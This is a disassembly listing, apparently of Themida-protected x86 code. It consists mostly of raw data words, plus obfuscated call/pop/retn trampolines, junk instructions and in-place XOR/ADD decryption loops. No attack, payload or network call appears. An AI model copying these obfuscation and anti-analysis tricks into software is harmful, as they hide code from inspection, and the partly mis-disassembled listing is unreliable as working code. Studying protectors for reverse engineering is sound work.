		dd 2FE84259h, 0C8A27C08h, 0E9D139C3h, 0Ah, 0B0140F78h
		dd 86124D8Ah, 0D5F9598h, 88h, 12E8h, 5196D300h,	2DEA8F77h
		dd 3E187B25h, 0F566CA3Ah, 5B4EE076h, 9F5958Bh, 6A0610h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 0BE10AC3h, 0BB561CA9h, 1E9066D0h, 23198D8Bh,	8B500610h
		dd 3188BC2h, 8B188BC1h,	3E8D1C1h, 58188BC2h, 1D059D8Bh
		dd 6A0610h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
		dd 50400000h, 477916C3h, 81B81178h, 2E4F78CBh, 29BD831Ch
		dd 6101Eh, 67840Fh, 6A0000h, 3E857h, 5F200000h,	7C895FC3h
		dd 44810424h, 150424h, 57470000h, 8B4656C3h, 0B8F9h, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 404DA0C3h, 0DD1F8D71h, 0D1BD8B0Ch, 8D061006h, 104E858Dh
		dd 39CB8006h, 0FFDEB70Fh, 7E9E1h, 0BD030000h, 33562A1Ch
		dd 0C1BD8357h, 61022h, 44B840Fh, 12E90000h, 69000000h
		dd 605027B5h, 27E5A789h, 489E9DC0h, 6CBA4ABCh, 0C1BD83BFh
		dd 1061022h, 442840Fh, 0BD830000h, 61022C1h, 0FF860F03h
		dd 80000003h, 6660CFEFh, 668010BBh, 6AD98Ch, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 75A08C3h
		dd 440887BAh, 60B18FA4h, 12B58589h, 81660610h, 6136BACAh
		dd 0AF67BB66h, 6A04E180h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 0CE46C356h,	0C90A5F51h
		dd 10C840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 140424h, 56460000h, 9D899DC3h, 61015B1h, 2185858Bh
		dd 0F3810610h, 137969EEh, 11FD8533h, 6A0610h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 1A31CFC3h
		dd 5B76BE4Fh, 0EE8E7h, 46C90000h, 7FC2583Eh, 0B2252A85h
		dd 9A837A10h, 5B99D03h,	505F0610h, 66525051h, 0F7F5FBFh
		dd 489ABF31h, 585A336Fh, 2404895Bh, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 0DEC35141h,	0B718EAC0h, 7E4BF9BFh
		dd 358D8908h, 6A061006h, 0F19D8B00h, 68061007h,	5369D128h
		dd 3481F98Bh, 76D2D724h, 576DBF53h, 95FF010Ah, 61005D5h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0C8C35545h
		dd 0BD1157AEh, 4BC78192h, 893D3B99h, 13C26D85h,	41BD8B06h
		dd 0E906102Fh, 224h, 858B7AB7h,	613C265h, 13919D8Bh, 0C70610h
		dd 18h,	0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h
		dd 2DC35747h, 8045DCB4h, 0D9BD2320h, 8B061018h,	13C269B5h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 0D375DC04h, 0F0DBD8Bh, 0BD8B0610h, 610062Dh
		dd 0E25858Bh, 0D3810610h, 471C4BF7h, 68C0Fh, 0BD8B0000h
		dd 6102A01h, 6A0689h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 4F709C3h, 0F2262692h, 8B60973Bh
		dd 1000458Dh, 2D8D8906h, 61061014h, 2185858Bh, 0C4B30610h
		dd 6A044689h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 0DBFC350h, 5560ACDCh, 0FB4B34C3h
		dd 27859D2Bh, 8B660610h, 8F0F50F9h, 17h, 0AE95250h, 9B000000h
		dd 0E2D1D925h, 0FDEABFF2h, 53310F56h, 89585A5Fh, 6A2434h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 507F27C3h, 2B346328h, 10E9h,	0B31B9100h, 0EEDAD0D8h
		dd 0C700ABE8h, 0B0133577h, 65B5FF73h, 0E90613C2h, 0Bh
		dd 0DE589A63h, 0BA1337B4h, 689A4CBBh, 0CAA0FC78h, 10E8h
		dd 0D1B45000h, 0AFA577B7h, 0C6E863BCh, 46FD5ADEh, 0DE8AAh
		dd 14B70000h, 0DA5A7D38h, 9EE942E0h, 5284ABFCh,	815F5B5Fh
		dd 7872404h, 0BD8B357Eh, 6100FD9h, 0C26D858Dh, 6A0613h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 0B529ACC3h, 6100715h, 8B525050h, 66310FDFh, 585AFA8Bh
		dd 6A240489h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 0E5ACC351h, 143DBD33h,	0BD2B0610h
		dd 6100D6Dh, 5D595FFh, 6A0610h,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 0BD296EC3h, 6101E2Dh
		dd 0ADBD8B61h, 0C7061013h, 1022C185h, 306h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 66AA5E34h, 1E51F781h, 0BD83FE8Bh, 613C26Dh, 23840F00h
		dd 8B000000h, 37E9F9h, 6A0000h,	3E850h,	58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 305028C3h, 4400110Ch
		dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h
		dd 4305036h, 11640011h,	10E8C101h, 2114430h, 3116400h
		dd 4E98358h, 1BEBE775h,	10E8C150h, 3116428h, 2114430h
		dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 0F99D8BC0h
		dd 6A061005h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 8A3BC355h, 0F63C3566h,	8E0F162Fh
		dd 8, 2850Fh, 5F510000h, 22C1BD83h, 0F030610h, 41485h
		dd 81665700h, 5F8C3ACFh, 0C26DBD83h, 0F000613h,	40084h
		dd 39B58900h, 8B06102Dh, 6DB5FFD9h, 6A0613C2h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 0B924C352h, 0BD8B7CEDh, 6102D6Dh, 2FA595FFh,	6A0610h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 5C6C91C3h, 9112E653h, 332D9D09h, 45BF0610h, 8B499225h
		dd 13C261B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1B04h, 0C3554500h, 0B2AE3DBFh, 66DA2ABh, 0BD09DF8Bh
		dd 6102825h, 106C7h, 0E7810001h, 5E9EC797h, 1EB5BD8Bh
		dd 89500610h, 8B662434h, 6E9DEh, 697D0000h, 650D3E75h
		dd 0C26DB5FFh, 95890613h, 6100461h, 0BE9h, 39EC4A00h, 6E35C8B4h
		dd 611CE263h, 122595FFh, 8F0F0610h, 6, 30719501h, 0B58B0610h
		dd 613C261h, 8BD9B70Fh,	1021D185h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 0DDCB80AFh
		dd 0C48689h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 64A200C3h, 6732CB81h, 9D8B24A2h
		dd 6103041h, 9F5958Bh, 6A0610h,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 0FE8E05C3h, 8B60551Eh
		dd 0AE9D3h, 828B0000h, 2B44AD19h, 1AD7C37Eh, 4C28361h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 37C35242h
		dd 89F8BF0Fh, 0FB8B2050h, 0D7C2858Dh, 6A0613h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 0A83C07C3h, 8166B9E1h, 89BDE5CBh, 0B886h, 6D9D8900h
		dd 6A061009h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1704h, 0C3504000h, 44E1ED7Ch, 6DB5FFF9h, 6A0613C2h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 0FB23C350h, 0E9E4105Ch, 10h, 0B00F54D3h
		dd 43D28A3Fh, 86C5B89Ah, 41B6449h, 49595FFh, 0BE90610h
		dd 0A6000000h, 2D85A800h, 6D9D89C6h, 5250D827h,	66616060h
		dd 5F61FA8Bh, 89243489h, 101DC9BDh, 6DB5FF06h, 6A0613C2h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 3B92C351h, 31C59501h, 95FF0610h, 610162Dh
		dd 1C19D8Bh, 0BD830610h, 6101351h, 33840F00h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 0E6E1C351h, 5DA4A2C0h, 8EBF6696h,	0BBBB500Ah
		dd 9672C93Dh, 6D9BD29h,	0B5FF0610h, 613C26Dh, 0AAEF8160h
		dd 61754052h, 0C1995FFh, 6A0610h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1B0424h, 55450000h, 66CC3DC3h, 0A71A9957h
		dd 0E8F0F3Ch, 60000000h, 820Fh,	830F0000h, 0
; ---------------------------------------------------------------------------
		popa
		push	dword ptr [ebp+613C26Dh]
		push	0
		push	ebp
		call	sub_59325E
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59325E	proc near		; CODE XREF: Themida_:00593256p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ah
		inc	ebp
		push	ebp
		retn
sub_59325E	endp

; ---------------------------------------------------------------------------
		dw 99BDh
; ---------------------------------------------------------------------------
		mov	al, ds:7A4D62E3h
		add	edi, [ebp+610013Dh]
		call	dword ptr [ebp+6101621h]
		push	0
		push	eax
		call	sub_59328C
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59328C	proc near		; CODE XREF: Themida_:00593284p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_59328C	endp

; ---------------------------------------------------------------------------
		les	ebp, [ebx]
		popf
		movsd
		or	dl, [eax]
		push	es
		sub	[ebp+6101E9Dh],	edi
		cmp	dword ptr [ebp+6100F89h], 2
		jz	loc_593315
		mov	[ebp+6101929h],	esi
		mov	eax, [ebp+61010C5h]
		push	0
		push	esi
		call	sub_5932CD
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5932CD	proc near		; CODE XREF: Themida_:005932C5p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 19h
		inc	esi
		push	esi
		retn
sub_5932CD	endp

; ---------------------------------------------------------------------------
		stc
		xchg	eax, ebx
		or	bl, [edi-42746E3Fh]
		lea	esp, [ecx]
		adc	[esi], al
		mov	byte ptr [eax],	0
		push	0
		push	esi
		call	sub_5932F7
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5932F7	proc near		; CODE XREF: Themida_:005932EFp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi
		push	esi
		retn
sub_5932F7	endp

; ---------------------------------------------------------------------------
		popf
		sbb	[ebx+10241DBDh], ecx
		push	es
		sub	edi, [ebp+6102965h]


loc_593315:				; CODE XREF: Themida_:005932B0j
		mov	dword ptr [ebp+6102A25h], 0
		jmp	loc_593329
; ---------------------------------------------------------------------------
		retf	0A454h
; ---------------------------------------------------------------------------
		db 5Fh
		db 2
; ---------------------------------------------------------------------------


loc_593329:				; CODE XREF: Themida_:0059331Fj
		jmp	near ptr dword_59255C+183h
; ---------------------------------------------------------------------------
		mov	bx, ax
		mov	eax, ecx
		mov	di, 0C426h
		lea	eax, [ebp+61013B9h]
		push	0
		push	ebx
		call	sub_593348
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_593348	proc near		; CODE XREF: Themida_:00593340p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ch
		inc	ebx
		push	ebx
		retn
sub_593348	endp

; ---------------------------------------------------------------------------
		dd 0FBC05537h, 75E56D1Bh, 0FEBF0F62h, 7E990h, 17800000h
		dd 0F50F3F9Bh, 819050D5h, 39093BEFh, 0E9006A6Bh, 10h, 0D405909Ah
		dd 0ACB1D6BBh, 0B1950667h, 165F5851h, 960006Ah,	102A2DBDh
		dd 61EC8A06h, 0CE9h, 9952E00h, 5F5BCE70h, 0DA4E0E33h, 70858DFCh
		dd 9061480h, 1030A595h,	5C08306h, 1473DF81h, 60507050h
		dd 0E8B641B8h, 4896178h, 50006A24h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1504h, 0C3504000h, 0AE8AB86h, 0E7000000h
		dd 0DD975B86h, 0DC119474h, 0DF815BF0h
; ---------------------------------------------------------------------------


loc_5933FC:				; DATA XREF: Themida_:0054BF84o
		adc	eax, 6A7849F1h
		add	[eax+6A53CBh], al
		or	[ebp+6100B19h],	ebx
		call	dword ptr [ebp+6101D19h]
		add	[ebp+6101049h],	edi
		lea	ecx, [ebp+613AFD8h]
		jmp	loc_59342D
; ---------------------------------------------------------------------------
		dd 0EDF4F370h, 0AC2B62C9h
		db 0C1h
; ---------------------------------------------------------------------------


loc_59342D:				; CODE XREF: Themida_:0059341Fj
		call	ecx
		push	0
		push	edx
		call	sub_59343A
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59343A	proc near		; CODE XREF: Themida_:00593432p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_59343A	endp

; ---------------------------------------------------------------------------
		mov	[ecx+4Fh], ah
		lahf
		cld
		pop	edx


loc_593450:				; CODE XREF: Themida_:00593482j
		inc	ebx
		and	al, dh
		xor	[ebx+66h], dl
		mov	edi, 835FE27Eh
		mov	ebp, 6102209h
		add	[edi], ecx
		test	[eax+eax+0], esi
		add	[edx+0], ch
		push	ebx
		call	sub_593472
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_593472	proc near		; CODE XREF: Themida_:0059346Ap

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 16h
		inc	ebx
		push	ebx
		retn
sub_593472	endp

; ---------------------------------------------------------------------------
		jle	short loc_593450
		sbb	[ebx-1A427427h], ecx
		add	al, 10h
		push	es
		push	2
		push	0
		push	esi
		call	sub_59349A
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59349A	proc near		; CODE XREF: Themida_:00593492p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 16h
		inc	esi
		push	esi
		retn
sub_59349A	endp

; ---------------------------------------------------------------------------
		sti
		retn
; ---------------------------------------------------------------------------
		inc	edx
		sub	ebx, [ebp+6102991h]
		or	edi, 291A7363h
		push	eax
		jmp	loc_5934CB
; ---------------------------------------------------------------------------
		db 58h
		dd 3B7BFE35h, 2C28537Eh
		db 5Dh,	0FAh, 3Dh
; ---------------------------------------------------------------------------


loc_5934CB:				; CODE XREF: Themida_:005934BAj
		mov	[esp], eax
		mov	edi, 1C4033F3h
		call	dword ptr [ebp+6100495h]
		mov	ebx, edx
		jmp	loc_59426E
; ---------------------------------------------------------------------------
		call	$+5
		pop	ebp
		sub	ebp, 614807Ah
		mov	[ebp+61018A1h],	edi
		push	0
		push	ebp
		call	sub_5934FD
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5934FD	proc near		; CODE XREF: Themida_:005934F5p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ah
		inc	ebp
		push	ebp
		retn
sub_5934FD	endp

; ---------------------------------------------------------------------------
		db 3Eh,	0A0h, 1Eh
		dd 0D01DF5C7h, 0C9CDBF66h, 99B6858Dh, 890F0613h, 2, 0BF50DE8Bh
		dd 0D5EDBC5h, 6A240489h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 0F30FC353h,	12E08A65h
		dd 0E9F98B66h, 0Ch, 0C680FB67h,	0E4009226h, 6B0A9712h
		dd 35FF64h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 6789C350h, 9615C4DDh
		dd 0CD9D8BF3h, 64061005h, 2589h, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 667AEDC3h
		dd 0FF13D7BFh, 10141985h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 0C65EB8BDh
		dd 0FF6A9E64h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 19h,	0CDC35545h, 6B8D8548h, 9E88Eh, 0CD5B0000h, 3C09890Ah
		dd 5F3E3A4Ah, 6840Fh, 8D890000h, 6102779h, 0BB9B5FFh, 6A0610h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 7313BEC3h, 0D74A33DBh, 2985BD0Bh, 95FF0610h,	6100615h
		dd 108E9h, 0F7816600h, 0B06F2Ch, 53B770E6h, 26B371E4h
		dd 830F613Ch, 0F1h, 1B119D8Bh, 0B60F0610h, 7E9C8h, 58DA0000h
		dd 0F720CF1Eh, 6BAE5h, 0BB660000h, 8BFCC254h, 75BF66C1h
		dd 4E8C161h, 22999D89h,	0F7660610h, 0AE9E2h, 0D9860000h
		dd 7EE54CFCh, 0B87382D5h, 9589C82Bh, 6101B11h, 8B60D18Bh
		dd 1005CD9Dh, 0DE906h, 0D6200000h, 2B7811B8h, 46F64562h
		dd 61E7F49Dh, 12E9h, 0C8E0F00h,	0F000000h, 68Eh, 39BD8B00h
		dd 8B061007h, 1010B585h, 0C083FC06h, 0C08307h, 9E8h, 0EA4A0C00h
		dd 0EEC590DAh, 9D8B9EA1h, 6101CE1h, 0B99D895Bh,	3B061023h
		dd 0B830FD0h, 80000000h, 3EE990EFh, 66000000h, 8D8BFA8Bh
		dd 6102AB1h, 935BD2Bh, 0E1830610h, 26840F01h, 8A000000h
		dd 0B1A583D9h, 0FE06102Ah, 9589E7B3h, 61010B5h,	0BE9h
		dd 0FC695200h, 0E93CD67Ch, 64844FC0h, 0E9h, 3AB58D00h
		dd 0F06140Ah, 0F84h, 0AE900h, 0D3300000h, 0C884030Bh, 0FDD03165h
		dd 12E8006Ah, 0D6000000h, 183391D3h, 5F6FE686h,	706EF0E7h
		dd 372EA93Dh, 7DDF815Dh, 5F0BE9FDh, 31C995FFh, 81660610h
		dd 0B999D3CFh, 7E4h, 0E860Fh, 9E90000h,	49000000h, 811541FAh
		dd 88381987h, 10799D8Bh, 0E1830610h, 53006AFCh,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 65F849A2h
		dd 0F821921h, 1850Fh, 0E9F90000h, 10h, 0AAD83D59h, 5712A469h
		dd 0EC5CD7E5h, 0DBBA334Bh, 559D89FCh, 0B8061001h, 0
; ---------------------------------------------------------------------------
		mov	[ebp+610307Dh],	esi
		mov	edx, 0
		push	0
		push	ebx
		call	sub_59382A
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59382A	proc near		; CODE XREF: Themida_:00593822p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Bh
		inc	ebx
		push	ebx
		retn
sub_59382A	endp

; ---------------------------------------------------------------------------
		dw 0CD97h
		dd 0CFC3368Eh, 9D8B19FFh, 6101575h, 0D1C233ADh,	83D003E8h
		dd 0F47504E9h, 50006AF9h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 45622B78h, 0F49D46F6h
		dd 9D038FE7h, 6100A31h,	11A59D8Bh, 880D0610h, 9000000h
		dd 102EF98Dh, 0F5958B06h, 6A061009h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 8B32C356h
		dd 1023198Dh, 8BFE8B06h, 102EE59Dh, 0C28B5006h,	0C103188Bh
		dd 0C18B188Bh, 0C203E8D1h, 6658188Bh, 6A76E8BBh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 39BDC355h, 0D496FC7Bh, 892EE9B2h, 1019F18Dh,	29BD8306h
		dd 6101Eh, 44840Fh, 0DB810000h,	51FC0003h, 0B8F98B66h
		dd 0
; ---------------------------------------------------------------------------
		mov	[ebp+61013F1h],	esi
		lea	ecx, [ebp+6104E85h]
		push	0
		push	ebx
		call	sub_593933
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_593933	proc near		; CODE XREF: Themida_:0059392Bp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 14h
		inc	ebx
		push	ebx
		retn
sub_593933	endp

; ---------------------------------------------------------------------------
		daa
		sub	bl, 0Eh
		movsx	edi, di
		jmp	ecx
; ---------------------------------------------------------------------------
		xor	[ebp+61011C5h],	esi
		cmp	dword ptr [ebp+61022C1h], 0
		jz	loc_593E0E
		push	0
		push	edi
		call	sub_59396A
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59396A	proc near		; CODE XREF: Themida_:00593962p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_59396A	endp

; ---------------------------------------------------------------------------
		cmpsb
		sub	bx, 4B88h
		cmp	dword ptr [ebp+61022C1h], 1
		jz	loc_593E29
		add	[ebp+61031B9h],	edx
		cmp	dword ptr [ebp+61022C1h], 3
		jbe	loc_593DF3
		pusha
		push	0
		push	esi
		call	sub_5939AC
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5939AC	proc near		; CODE XREF: Themida_:005939A4p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_5939AC	endp

; ---------------------------------------------------------------------------
		cmpsb
		mov	esp, 1F546308h
		pop	edx
		mov	edi, [ebp+6101909h]
		mov	cx, ds
		clc
		and	cl, 4
		push	0
		push	ecx
		call	sub_5939DB
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5939DB	proc near		; CODE XREF: Themida_:005939D3p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 17h
		inc	ecx
		push	ecx
		retn
sub_5939DB	endp

; ---------------------------------------------------------------------------
		db 5Ah
		dd 0A37C2E0h, 34840FC9h, 0E8000001h, 0Bh, 0C9482112h, 954DDFB7h
		dd 899CEFB6h, 101DC1B5h, 858B5F06h, 6102185h, 12E9h, 0B2130F00h
		dd 6E1C211Eh, 1D1370E4h, 37BBA32Eh, 33A57660h, 1011FD85h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1704h
		dd 0C3574700h, 0CB6A0AB4h, 0E950B6B3h, 5, 71325AE5h, 240489EFh
		dd 0D618589h, 6A0610h, 1BB99D33h, 4E80610h, 0FF000000h
		dd 50001F03h, 448BF88Bh, 2BBF0424h, 8B5A89ABh, 9E900h
		dd 0F19E0000h, 5C4EB8CDh, 89695375h, 0F042444h,	0B89h
		dd 60525000h, 66310F61h, 585ADA8Bh, 51006A58h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 74739E56h
		dd 0A2B22F52h, 193DBD33h, 95FF0610h, 61005D5h, 8589D8B3h
		dd 613C26Dh, 0D5958952h, 5F061007h, 276E9h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 0AD435BD2h, 0C7816656h, 9D8BF80Dh, 61009E5h,	8E8h, 20FD2400h
		dd 899A9A15h, 0D680BB79h, 8B5B2D0Ch, 13C26585h,	0CB816606h
		dd 0C774FFh, 18h, 8BF98B66h, 13C269B5h,	53006A06h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h
		dd 895C6C91h, 100B1585h, 0EE906h, 0B3590000h, 6E8B7196h
		dd 76E494D9h, 26B26B71h, 0E25858Bh, 6A0610h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0B33CA0C3h
		dd 0AEDB8166h, 6A068933h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 54A0C350h, 666F941Ah
		dd 9C48D381h, 2185858Bh, 6A0610h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 0B59AFEC3h, 95FCD08Ah
		dd 89FC2CAFh, 0E3800446h, 52505059h, 310FF88Bh,	89BB5250h
		dd 0F1236CFh, 8E0F31h, 5A000000h, 89585A58h, 6A2434h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 656761C3h, 99F06836h, 0ABFD6DDh, 0F624D80h, 0C8Bh, 6860F00h
		dd 8B000000h, 10227DBDh, 65B5FF06h, 6A0613C2h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 0D69EC355h, 93476ADEh, 0B589B0D8h, 6101AB1h,	9C783068h
		dd 7E9601Ch, 65000000h,	216B7E03h, 8161A567h, 7BCF2434h
		dd 6A1C83h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 293C9AC3h, 1011AD85h, 6D858D06h, 6A0613C2h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 0E840C351h, 0B7CB113Dh, 600879C1h, 1F3DBD8Bh
		dd 0BD890610h, 6101219h, 0BF509061h, 23518F9Dh,	66606090h
		dd 90E8D981h, 14B19D8Bh, 0F610610h, 386h, 0C8D08000h, 0D595FF61h
		dd 6A061005h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 0A080C350h, 810E9CC0h,	0E8F8BF0Fh
		dd 14h,	5B4148A9h, 0DC8896A8h, 2771FAD9h, 329C64ECh, 69D98DD3h
		dd 135D9D8Bh, 615B0610h, 8E8h, 0FEB8DD00h, 0F74B9000h
		dd 959D8BA6h, 5B061005h, 22C185C7h, 30610h, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 0AE33FFC3h, 0E556C488h, 0F98D29A0h, 0F9061005h, 0C26DBD83h
		dd 0F000613h, 3A84h, 5E900h, 9330000h, 0E9B02BB6h, 46h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 56C35040h
		dd 0FDAE448h, 68Ch, 99D0300h
		db 2Dh,	10h, 6
; ---------------------------------------------------------------------------


loc_593DF3:				; CODE XREF: Themida_:0059399Aj
					; Themida_:00593E0Aj
		push	eax
		xor	[ecx+edx], cl
		add	[ecx+edx+1], al
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], cl
		pop	eax
		sub	ecx, 4
		jnz	short loc_593DF3
		jmp	short loc_593E44
; ---------------------------------------------------------------------------


loc_593E0E:				; CODE XREF: Themida_:00593959j
					; Themida_:00593E25j
		push	eax
		xor	[ecx+edx], al
		add	[ecx+edx+1], ah
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], ah
		pop	eax
		sub	ecx, 4
		jnz	short loc_593E0E
		jmp	short loc_593E44
; ---------------------------------------------------------------------------


loc_593E29:				; CODE XREF: Themida_:00593987j
					; Themida_:00593E40j
		push	eax
		shr	eax, 10h
		sub	[ecx+edx+3], ah
		xor	[ecx+edx+2], al
		pop	eax
		sub	[ecx+edx+1], ah
		xor	[ecx+edx], al
		sub	ecx, 4
		jnz	short loc_593E29
		jmp	short $+2


loc_593E44:				; CODE XREF: Themida_:00593E0Cj
					; Themida_:00593E27j
		mov	eax, eax
		push	0
		push	ebp
		call	sub_593E51
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_593E51	proc near		; CODE XREF: Themida_:00593E49p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 15h
		inc	ebp
		push	ebp
		retn
sub_593E51	endp

; ---------------------------------------------------------------------------
		db 7Ah,	44h, 60h
		dd 8E8F78Bh, 46000000h,	0FC70800h, 9A2DD8Dh, 1023E195h
		dd 83615F06h, 1022C1BDh, 850F0306h, 39Ch, 0C26DBD83h, 0F000613h
		dd 38F84h, 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h
		dd 1504h, 0C3504000h, 0BB6666FCh, 0BD8B7733h, 61021F1h
		dd 0D3D38166h, 6DB5FF6Ch, 10613C2h, 10139D9Dh, 0DF816606h
